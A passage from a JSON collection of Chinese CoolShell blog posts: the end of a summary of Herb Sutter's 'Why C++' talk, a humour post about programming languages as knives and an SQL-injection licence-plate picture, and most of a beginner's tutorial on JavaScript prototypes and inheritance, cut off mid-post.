就是钱，这个分成三个方面，</p>\n<ul>\n<li>耗电，芯片的耗电量，移动设备的耗电量，家用电脑的耗电量都和钱有关系。</li>\n<li>资源，家用电脑和移动设备上的处理器资源有限，因为要让一般消费者买的起。</li>\n<li>体验，在更小的设备上会有更好的体验，有更好的体验就可以挣更多的钱。</li>\n</ul>\n<p>移动设备上的耗电量相信用过智能手机的人都知道吧，Android手机的耗电量实在是太大了。就算是iPhone在开启Wifi和3G的情况下耗电量也很快。</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-6550\" height=\"319\" src=\"../wp-content/uploads/2012/02/WhyCPP.01.jpg\" title=\"\" width=\"566\"/></p>\n<p><span id=\"more-6548\"></span></p>\n<p>2）C++的进化分成三个时代：</p>\n<ul>\n<li>1979 – 1989：研究C的对象能力。主要是为C++做准备</li>\n<li>1989 – 1999：C++成了主流。</li>\n<li>1999 – 2009：Coffee-based语言（Java, .NET）出现了，极大的提高了开发生产力。</li>\n</ul>\n<p style=\"padding-left: 30px;\">对于第三个时代，Herb说了很多，他说这个并没有什么错，因为这个时候我们非常关注开发的生产力，这个非常重要，这就是为什么C++一下就失去优势的地方。但是是否这些Coffee-Based的语言可以做任重要的事呢？不行，很多时候，这是一个Trade-Off的事，也就是生产力不是免费的是需要你用别的东西去交换的。</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-6551\" height=\"319\" src=\"../wp-content/uploads/2012/02/WhyCPP.02.jpg\" title=\"\" width=\"567\"/></p>\n<p>3）第四个时期。</p>\n<p style=\"padding-left: 30px;\">Herb认为，2009-2019是第四个时期，因为我们又喜欢Native Code了，C++从被驱逐后又被请回来了。因为网站的性能越来越是个问题，移动端的设备非常流行。但主要是因为Performance就是钱，因为前面的三个因素，性能影响的是dollar，不尊重性能的公司都会发现花钱的速度太快了。（比如去年大家热炒的京东促销和12306.cn的问题，12306给整个社会造成了巨大的金钱浪费）</p>\n<p style=\"padding-left: 30px;\">Herb把这个时期比做 The Return of the King。（指环王的第三部：王者归来）<strong> 性能为王！</strong></p>\n<p style=\"padding-left: 30px;\">这就好像我在“<a href=\"https://coolshell.cn/articles/6526.html\" target=\"_blank\" title=\"软件开发的“三重门”\">软件开发的三重门</a>”里说的，开垦时代需要的是快和生产力，而开垦完后就得保证其稳定性。</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-6552\" height=\"318\" src=\"../wp-content/uploads/2012/02/WhyCPP.03.jpg\" title=\"\" width=\"567\"/></p>\n<p>4）Herb还给了一张幻灯片问，“The World is built on ….”，后面例出了多个语言。然后Herb说，世界是由C和C++构成的。</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter wp-image-6562\" height=\"224\" src=\"../wp-content/uploads/2012/02/WhyCPP.03.01.jpg\" title=\"WhyCPP.03.01\" width=\"397\"/></p>\n<p>5）Herb给了一张表格，这张表可相当形像。如果把我们的对编程语言的需求总结为四个：<strong>效率，灵活，抽象，生产率</strong>。那么，C语言玩的是前两个，而C++玩的是前三个，Java和C#玩的是后两个（抽象和生产率）</p>\n<p>任保一种设计都不可能让你什么都要的，这就是Trade-Off——什么事都需要交换的。</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-6553\" height=\"318\" src=\"../wp-content/uploads/2012/02/WhyCPP.04.jpg\" title=\"\" width=\"567\"/></p>\n<p>6）Herb举了一个微软内的例子，用C++ 和 ATL 来开发IE工具条的报告，意思是你可以用脚本在IE的工具条上加按钮，但是作者建议使用C++，因为用.NET或是脚本有重大的limitation，尤其是性能上的问题。</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter wp-image-6554\" height=\"339\" src=\"../wp-content/uploads/2012/02/WhyCPP.05.jpg\" width=\"600\"/></p>\n<p style=\"text-align: left;\">7）接下来，我们来看看移动设备。</p>\n<p style=\"text-align: left; padding-left: 30px;\">下图中，第一个是iOS，第二个是Android，第三个是WinPhone。Herd说了几个事：</p>\n<p style=\"text-align: left; padding-left: 30px;\">a）比Web APP，人们更喜欢Native的APP，这个在用移动设备上可以得到验证。</p>\n<p style=\"text-align: left; padding-left: 30px;\">b）iOS也好，Android也好，WinPhone也好，他们不是在搞操作系统，而是在搞应用，为的是让智能手机更好。手机就是一个App。</p>\n<p style=\"text-align: left; padding-left: 30px;\">c）这三个手机在第一版出来时都不支持C++，而第二版出来时都支持C++了。因为他们要兼顾性能和一定程度上的开发效率。WinPhone还没有到第二版，让我们拭目以待。（我以前写过一篇<a href=\"https://coolshell.cn/articles/3549.html\" target=\"_blank\" title=\"Android将允许纯C/C++开发应用\">调侃Android支持C++开发</a>的文章，这也只是一年前的事，说明C++全面回归了）</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-6555\" height=\"319\" src=\"../wp-content/uploads/2012/02/WhyCPP.06.jpg\" title=\"\" width=\"567\"/></p>\n<p>8）如果你还是不相信的话，我们可以看看为什么Apple和Google都在搞C++的编译器，因为他们觉得g++性能不行。所以，基于LLVM的编译器正在领导潮流，因为我们关注Natvie Code的性能优化。</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-6556\" height=\"615\" src=\"../wp-content/uploads/2012/02/WhyCPP.07.jpg\" title=\"\" width=\"539\"/></p>\n<p>9）接下来，Herb说了一下数据中心，你知道数据中心最花钱的是什么吗？三个事：</p>\n<blockquote>\n<ul>\n<li>57% 花在了硬件上。</li>\n<li>18% 花在了配电和降温上。</li>\n<li>13% 花在了耗电上。</li>\n</ul>\n</blockquote>\n<p style=\"padding-left: 30px;\">88%的钱花在了硬件和电力上。这可是很大一笔费用啊。（还有人说硬件比软件便宜吗？）我记得我上一个公司的数据中心每年要花的电费就在百万美元以上。</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-6557\" height=\"319\" src=\"../wp-content/uploads/2012/02/WhyCPP.08.jpg\" title=\"\" width=\"566\"/></p>\n<p>10）昨天在<a href=\"http://weibo.com/1401880315/y3kshD9jf\" target=\"_blank\">微博上有个笑话</a>，说是某咨询师要求程序员把代码打印出来走查，程序员问是不是要用彩打？哈哈。我说，这至少不环保嘛。消耗太大了。是的，C++是可以省电的，以及于C++之父都在YouTube 说C++是可以减轻全球变暖的问题。哇，C++开始真正造福人类了。</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-6558\" height=\"397\" src=\"../wp-content/uploads/2012/02/WhyCPP.09.jpg\" title=\"\" width=\"516\"/></p>\n<p>11）我还需要重温一下老大的这句话——</p>\n<blockquote><p><strong>My contribution to the fight against global warming is C++’s efficiency</strong>: Just think if Google had to have twice as many server farms! Each uses as much energy as a small town. And it’s not just a factor of two…<strong> Efficiency is not just running fast or running bigger programs, it’s also running using less resources</strong>.</p>\n<p style=\"text-align: right;\">Bjarne Stroustrup, June 2011</p>\n</blockquote>\n<p style=\"text-align: left; padding-left: 30px;\">最后一句说的非常好！<strong>效率不仅仅只是跑得，跑得多，更是可以使用更少的资源</strong>。</p>\n<p style=\"text-align: left;\">12）下面让我们再来看一张表，一张把钱投到哪里的表格，这样我们可以看到一些趋势。</p>\n<ul>\n<li>70年代80年代，资源不够，主要是把钱投在性能上。</li>\n<li>80年代到90代，主要是90年代开始有一半的投次到了抽象和生产率上。</li>\n<li>00年代，完全都在抽象和生产率上。</li>\n<li>10年代，80%的钱都要回头来解决性能问题。这就是C/C++的王者归来。</li>\n</ul>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-6559\" height=\"319\" src=\"../wp-content/uploads/2012/02/WhyCPP.10.jpg\" title=\"\" width=\"567\"/></p>\n<p>13）当然，不是C++不注重 开发效率，看看C++0X的标准引入了多少东西我们就知道了。但是本质上，<strong>C++还是致力于性能和抽象的完全平衡</strong>。</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-6560\" height=\"319\" src=\"../wp-content/uploads/2012/02/WhyCPP.11.jpg\" title=\"\" width=\"567\"/></p>\n<p>那么，我们还会觉得C++要被淘汰了，不适合进入了吗？看完这个演讲，你应该有答案的。</p>\n<p>后面讲了C++的文艺复兴，你可以在Google 搜索 “<a href=\"https://www.google.com/search?q=C%2B%2B+Renaissance\" target=\"_blank\">C++ Renaissance</a>”看看。另外，<strong>该视频的讲议可以在<a href=\"http://ecn.channel9.msdn.com/content/WhyCPPCB2011.pdf\" target=\"_blank\">这里下载</a></strong>。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8239.html\"><img alt=\"无锁队列的实现\" height=\"150\" src=\"../wp-content/uploads/2012/09/lock_free_bicycle-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8239.html\">无锁队列的实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7886.html\"><img alt=\"代码执行的效率\" height=\"150\" src=\"../wp-content/uploads/2012/07/muxnt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7886.html\">代码执行的效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22242.html\"><img alt=\"ETCD的内存问题\" height=\"150\" src=\"../wp-content/uploads/2022/05/etcd-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22242.html\">ETCD的内存问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/6548.html\">Why C++ ? 王者归来</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-2-20 千万别惹程序员.html",
    "content": "<html><body><p>酷壳好久没有发娱乐性质的技术文章了，搞得气氛有点严肃了，考虑到程序员们都是比较严肃和容易较真的类书呆子的群体，所以，需要更新一个有娱乐性质的文章了。正好最近看到了两个比较有趣的图，在新浪微博上都得到了比较不错的反响，因此，更新到酷壳上来。</p>\n<h4>如果编程语言是一种刀</h4>\n<p>下面这个图是把编程语言看做是一种刀，那么会是什么样的。这个图我个人感觉很有意思。</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-6642\" height=\"450\" src=\"../wp-content/uploads/2012/02/programming-language.jpg\" title=\"programming language\" width=\"400\"/></p>\n<p>对于这个图，最好不要解释，意会就好。不过，我却有点想不解风情，忍不住想解释一下。</p>\n<p><span id=\"more-6639\"></span></p>\n<ul>\n<li>C++，C，Pascal 都是瑞士军刀，说明是用来做细活的工具。C语言的刀上有个USB，说明是可以做硬件操作的。C++的刀是什么都有，说明C++是一种功能繁多的语言。（图中C++的那把瑞士军刀很强大，不要以为其是虚构的，这把刀是真实存在的，叫Wenger巨人刀，<a href=\"http://www.wenger.ch/giant-knife-wenger-swiss-army-knife\" target=\"_blank\">http://www.wenger.ch/giant-knife-wenger-swiss-army-knife</a> (这个网页上有个Youtube视频，可以爬墙去看)，<a href=\"http://s.taobao.com/search?q=giant-knife-wenger-swiss-army-knife&amp;keyword=&amp;commend=all&amp;ssid=s5-e&amp;search_type=item&amp;atype=&amp;tracelog=&amp;sourceId=tb.index&amp;initiative_id=tbindexz_20120220\" target=\"_blank\">淘宝上有卖的</a>，价格在1万4左右。）</li>\n<li>Java/C#是一把塑料餐刀，这说明，Java和C#语言是带虚拟机的，而且其语法和使用并不像C++那么复杂，其泛型编程可以有很多种玩法，而Java和C#的泛型编程是比较单一的。</li>\n<li>Python是把电锯，人挡杀人，佛招杀佛，威力很大，面对大型的物体的修整，比C++/C/Java什么的得心应手得多得多，但是对于一些精细的调优工作，明显不行。这和Ruby很像。</li>\n<li>PHP没有MySQL，明显是被幽默了一把。不过最近对PHP的批评越来越多，不过，facebook的PHP的引擎HiPo已经很牛B了。</li>\n<li>Perl是一本日本武士刀，是忍者玩的语言。</li>\n<li>VB，就是一个玩具。你见过用塑料玩具勺当刀的吗？Haskell感觉是外星来的。呵呵</li>\n</ul>\n<h4>千万别惹程序员</h4>\n<p>下图一张昨天我公司内部被传递的图片。经典的SQL注入式攻击。千万别惹程序员</p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"407\" src=\"../wp-content/uploads/2012/02/SQL-injection-attackadjusted.jpg\" title=\"SQL-injection-attack(adjusted)\" width=\"600\"/></p>\n<p>这是一个有技术含量的号牌遮挡。我们先不说其是不是能奏效，不过，这个创意相当的NB啊。当你驾车通过某些路口时，被摄像头捕捉到你的车牌，通过OCR变成文本，然后插入数据库，于是，上图的这个车牌就成了SQL注入。（不要以为车牌的OCR技术还不行，这项目技术已经非常成熟了，无论是国内还是国外）。这张图片就如同“<a href=\"https://coolshell.cn/articles/6043.html\" target=\"_blank\" title=\"Web开发中需要了解的东西\">Web开发中应该知道的事</a>”中说的一样——永远不要相信用户的输入。</p>\n<p><strong>插曲</strong>：我昨天把这张图片<a href=\"http://weibo.com/1401880315/y6kIAj1oN\" target=\"_blank\">放到微博</a>，结果，<strong>被转了几万次，上了热门转发的top list和一些社会热点和明星八卦排在了一起</strong>。主要是被“<em>@微博搞笑排行榜:  @全球潮流趣闻:  @实用小百科: @经典英文语录:  @当时我就泪奔了: @老榕: @全球经典音乐: @环球汽车搜罗: @怪诞心理行为学: @精彩电影: @互联网的那点事: @潮混搭:  @热门微博: @SinaAppEngine:</em> ” 还有些什么体育记者，法律记者都转了， 这些转发了。这多少让我觉得有些诧异，这是很技术的一件事啊，怎么连什么电影，英文对白，汽车，音乐什么的都转了？我是相当的费解啊，我只能有两个认为——</p>\n<ol>\n<li>简单的认为关心技术的人还是很多的。</li>\n<li>复杂地认为国人是喜欢起哄的，不问为什么。</li>\n</ol>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1992.html\"><img alt=\"程序员眼中的编程语言\" height=\"150\" src=\"../wp-content/uploads/2009/12/language-fanboys-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1992.html\">程序员眼中的编程语言</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/6639.html\">千万别惹程序员</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-2-27 再谈javascript面向对象编程.html",
    "content": "<html><body><p><strong>前言:</strong>虽有陈皓<a href=\"https://coolshell.cn/articles/6441.html\">《Javascript 面向对象编程》</a>珠玉在前，但是我还是忍不住再画蛇添足的补上一篇文章，主要是因为javascript这门语言魅力。另外这篇文章是一篇入门文章，我也是才开始学习Javascript，有一点心得，才想写一篇这样文章，文章中难免有错误的地方，还请各位不吝吐槽指正</p>\n<h4><strong><span style=\"color: #008000;\">吐槽Javascript</span></strong></h4>\n<p>初次接触Javascript，这门语言的确会让很多正规军感到诸多的不适，这种不适来自于Javascript的语法的简练和不严谨，这种不适也来自Javascript这个悲催的名称，我在想网景公司的Javascript设计者在给他起名称那天一定是脑壳进水了,让Javascript这么多年来受了这么多不白之冤，人们都认为他是Java的附属物，一个WEB玩具语言。因此才会有些人会对Javascript不屑，认为Javascript不是一门真正的语言，但是这此他们真的错了。Javascript不仅是一门语言，是一门真真正正的语言，而且他还是一门里程碑式的语言，他独创多种新的编程模式原型继承，闭包（<strong>作者注：闭包不是JS首创，应该Scheme首创，prototypal inheritance 和 dynamic objects 是self语言首创，Javascript的首创并不精彩,谢谢网友的指正。</strong>），对后来的动态语言产生了巨大的影响。做为当今最流行的语言（没有之一），看看git上提交的最多的语言类型就能明白。随着HTML5的登场，浏览器将在个人电脑上将大显身手，完全有替换OS的趋势的时候，Javascript做为浏览器上的一门唯一真真的语言，如同C之于 unix/linux，java之于JVM，Cobol之于MainFrame，我们也需要来重新的认真地认识和审视这门语言。另外Javascript的正式名称是：ECMAScript，这个名字明显比Javascript帅太多了！<br/>\n<span id=\"more-6668\"></span><br/>\n言归正传，我们切入主题——Javascript的面向对象编程。要谈Javascript的面向对象编程，我们第一步要做的事情就是忘记我们所学的面向对象编程。传统C++或Java的面向对象思维来学习Javascript的面向对象会给你带来不少困惑，让我们先忘记我们所学的，从新开始学习这门特殊的面向对象编程。既然是OO编程，要如何来理解OO编程呢，记得以前学C++，学了很久都不入门，后来有幸读了《Inside The C++ Object Model》这本大作，顿时豁然开朗，因此本文也将以对象模型的方式来探讨的Javascript的OO编程。因为Javascript 对象模型的特殊性，所以使得Javascript的继承和传统的继承非常不一样，同时也因为Javascript里面没有类，这意味着Javascript里面没有extends,implements。那么Javascript到底是如何来实现OO编程的呢？好吧，让我们开始吧，一起在Javascript的OO世界里来一次漫游</p>\n<p>首先，我们需要先看看Javascript如何定义一个对象。下面是我们的一个对象定义：</p>\n<p>[javascript]<br/>\nvar o = {};<br/>\n[/javascript]</p>\n<p>还可以这样定义一个对象</p>\n<p>[javascript]<br/>\nfunction f() {<br/>\n}<br/>\n[/javascript]</p>\n<p>对，你们没有看错，在Javascript里面，函数也是对象。<br/>\n当然还可以</p>\n<p>[javascript]<br/>\nvar array1= [ 1,2,3];<br/>\n[/javascript]</p>\n<p>数组也是一个对象。<br/>\n其他关于对象的基本的概念的描述，还是请各位亲们参见陈皓<a href=\"https://coolshell.cn/articles/6441.html\">《Javascript 面向对象编程》</a>文章。<br/>\n对象都有了，唯一没有的就是class，因为在Javascript里面是没有class关键字的，算好还有function，function的存在让我们可以变通的定义类，在扩展这个主题前，我们还需要了解一个Javascript对象最重要的属性，<strong>__proto__</strong>成员。</p>\n<h4><strong><span style=\"color: #008000;\">__proto__成员</span></strong></h4>\n<p>严格的说这个成员不应该叫这个名字，__proto__是Firefox中的称呼，__proto__只有在Firefox浏览器中才能被访问到。<strong>做为一个对象，当你访问其中的一个成员或方法的时候，如果这个对象中没有这个方法或成员，那么Javascript引擎将会访问这个对象的__proto__成员所指向的另外的一个对象，并在那个对象中查找指定的方法或成员，如果不能找到，那就会继续通过那个对象的__proto__成员指向的对象进行递归查找，直到这个链表结束</strong>。<br/>\n好了，让我们举一个例子。<br/>\n比如上上面定义的数组对象array1。当我们创建出array1这个对象的时候，array1实际在Javascript引擎中的对象模型如下：<br/>\n<img alt=\"\" class=\"aligncenter size-full wp-image-6675\" height=\"208\" src=\"../wp-content/uploads/2012/02/joo_1.png\" width=\"416\"/><br/>\narray1对象具有一个length属性值为3，但是我们可以通过如下的方法来为array1增加元素：</p>\n<p>[javascript]<br/>\narray1.push(4);<br/>\n[/javascript]</p>\n<p>push这个方法来自于array1的__proto__成员指向对象的一个方法(Array.prototye.push())。正是因为所有的数组对象（通过[]来创建的）都包含有一个指向同一个具有push,reverse等方法对象(Array.prototype)的__proto__成员，才使得这些数组对象可以使用push,reverse等方法。</p>\n<p>那么这个__proto__这个属性就相当于面向对象中的”has a”关系，这样的的话，只要我们有一个模板对象比如Array.prototype这个对象，然后把其他的对象__proto__属性指向这个对象的话就完成了一种继承的模式。不错！我们完全可以这么干。但是别高兴的太早，这个属性只在FireFox中有效，其他的浏览器虽然也有属性，但是不能通过__proto__来访问，只能通过getPrototypeOf方法进行访问，而且这个属性是只读的。看来我们要在Javascript实现继承并不是很容易的事情啊。</p>\n<h4><strong><span style=\"color: #008000;\">函数对象prototype成员</span></strong></h4>\n<p>首先我们先来看一段函数prototype成员的定义，</p>\n<blockquote><p><strong>When a function object is created, it is given a prototype member which is an object containing a constructor member which is a reference to the function object</strong><br/>\n当一个函数对象被创建时，这个函数对象就具有一个prototype成员，这个成员是一个对象，这个对象包含了一个构造子成员，这个构造子成员会指向这个函数对象。</p></blockquote>\n<p>例如：</p>\n<p>[javascript]<br/>\nfunction Base() {<br/>\n    this.id = \"base\"<br/>\n}<br/>\n[/javascript]</p>\n<p>Base这个函数对象就具有一个prototype成员，关于构造子其实Base函数对象自身，为什么我们将这类函数称为构造子呢？原因是因为这类函数设计来和new 操作符一起使用的。为了和一般的函数对象有所区别，这类函数的首字母一般都大写。构造子的主要作用就是来创建一类相似的对象。</p>\n<p>上面这段代码在Javascript引擎的对象模型是这样的<br/>\n<img alt=\"\" class=\"aligncenter size-full wp-image-6678\" height=\"190\" src=\"../wp-content/uploads/2012/02/joo_2.png\" width=\"382\"/></p>\n<h4><strong><span style=\"color: #008000;\">new 操作符</span></strong></h4>\n<p>在有上面的基础概念的介绍之后，在加上new操作符，我们就能完成传统面向对象的class + new的方式创建对象，在Javascript中，我们将这类方式成为Pseudoclassical。<br/>\n基于上面的例子，我们执行如下代码</p>\n<p>[javascript]<br/>\nvar obj = new Base();<br/>\n[/javascript]</p>\n<p>这样代码的结果是什么，我们在Javascript引擎中看到的对象模型是：<br/>\n<img alt=\"\" class=\"aligncenter size-full wp-image-6680\" height=\"207\" src=\"../wp-content/uploads/2012/02/joo_3.png\" width=\"403\"/></p>\n<p>new操作符具体干了什么呢?其实很简单，就干了三件事情。</p>\n<p>[javascript]<br/>\nvar obj  = {};<br/>\nobj.__proto__ = Base.prototype;<br/>\nBase.call(obj);<br/>\n[/javascript]</p>\n<p>第一行，我们创建了一个空对象obj<br/>\n第二行，我们将这个空对象的__proto__成员指向了Base函数对象prototype成员对象<br/>\n第三行，我们将Base函数对象的this指针替换成obj，然后再调用Base函数，于是我们就给obj对象赋值了一个id成员变量，这个成员变量的值是”base”，关于call函数的用法，请参看陈皓<a href=\"https://coolshell.cn/articles/6441.html\">《Javascript 面向对象编程》</a>文章<br/>\n如果我们给Base.prototype的对象添加一些函数会有什么效果呢？<br/>\n例如代码如下：</p>\n<p>[javascript]<br/>\nBase.prototype.toString = function() {<br/>\n    return this.id;<br/>\n}<br/>\n[/javascript]</p>\n<p>那么当我们使用new创建一个新对象的时候，根据__proto__的特性，toString这个方法也可以做新对象的方法被访问到。于是我们看到了：<br/>\n<strong>构造子中，我们来设置‘类’的成员变量（例如：例子中的id），构造子对象prototype中我们来设置‘类’的公共方法。于是通过函数对象和Javascript特有的__proto__与prototype成员及new操作符，模拟出类和类实例化的效果。</strong></p>\n<h4><strong><span style=\"color: #008000;\">Pseudoclassical 继承</span></strong></h4>\n<p>我们模拟类，那么继承又该怎么做呢？其实很简单，我们只要将构造子的prototype指向父类即可。例如我们设计一个Derive 类。如下</p>\n<p>[javascript]<br/>\nfunction Derive(id) {<br/>\n    this.id = id;<br/>\n}<br/>\nDerive.prototype = new Base();<br/>\nDerive.prototype.test = function(id){<br/>\n    return this.id === id;<br/>\n}<br/>\nvar newObj = new Derive(\"derive\");<br/>\n[/javascript]</p>\n<p>这段代码执行后的对象模型又是怎么样的呢？根据之前的推导，应该是如下的对象模型<br/>\n<img alt=\"\" class=\"aligncenter size-full wp-image-6686\" height=\"216\" src=\"../wp-content/uploads/2012/02/joo_4.png\" width=\"645\"/><br/>\n这样我们的newObj也继承了基类Base的toString方法，并且具有自身的成员id。关于这个对象模型是如何被推导出来的就留给各位同学了，参照前面的描述，推导这个对象模型应该不难。<br/>\nPseudoclassical继承会让学过C++/Java的同学略微的感受到一点舒服，特别是new关键字，看到都特亲切，不过两者虽然相似，但是机理完全不同。当然不关什么样继承都是不能离不开__proto__成员的。</p>\n<h4><strong><span style=\"color: #008000;\">Prototypal继承</span></strong></h4>\n<p>这是Javascript的另外一种继承方式，这个继承也就是之前陈皓文章《Javascript 面向对象编程》中create函数，非常可惜的是这个是ECMAScript V5的标准，支持V5的浏览器目前看来也就是IE9，Chrome最新版本和Firefox。虽然看着多，但是做为IE6的重灾区的中国，我建议各位还是避免使用create函数。好在没有create函数之前，Javascript的使用者已经设计出了等同于这个函数的。例如：我们看看Douglas Crockford的object函数。</p>\n<p>[javascript]<br/>\nfunction object(old) {<br/>\n   function F() {};<br/>\n   F.prototype = old;<br/>\n   return new F();<br/>\n}<br/>\nvar newObj = object(oldObject);<br/>\n[/javascript]</p>\n<p>例如如下代码段</p>\n<p>[javascript]<br/>\nvar base ={<br/>\n  id:\"base\",<br/>\n  toString:function(){<br/>\n          return this.id;<br/>\n  }<br/>\n};<br/>\nvar derive = object(base);<br/>\n[/javascript]</p>\n<p>上面函数的执行后的对象模型是：<br/>\n<img alt=\"\" class=\"aligncenter size-full wp-image-6688\" height=\"230\" src=\"../wp-content/uploads/2012/02/joo_5.png\" width=\"451\"/><br/>\n如何形成这样的对象模型，原理也很简单，只要把object这个函数扩展一下，就能画出这个模型，怎么画留给读者自己去画吧。<br/>\n这样的继承方式被称为原型继承。相对来说要比Pseudoclassical继承来的简单方便。ECMAScript V5正是因为这原因也才增加create函数，让开发者可以快速的实现原型继承。<br/>\n上述两种继承方式是Javascript中最常用的继承方式。通过本文的讲解，你应该对Javascript的OO编程有了一些‘原理’级的了解了吧</p>\n<h4><strong><span style=\"color: #008000;\">参考:</span></strong></h4>\n<p><a href=\"http://msdn.microsoft.com/en-us/scriptjunkie/ff852808\">《Prototypes and Inheritance in JavaScript Prototypes and Inheritance in JavaScript》</a><br/>\n<a href=\"http://yuiblog.com/blog/2006/11/27/video-crockford-advjs/\" target=\"_blank\">Advance Javascript</a> （Douglas Crockford 大神的视频，一定要看啊）</p>\n<h4><strong><span style=\"color: 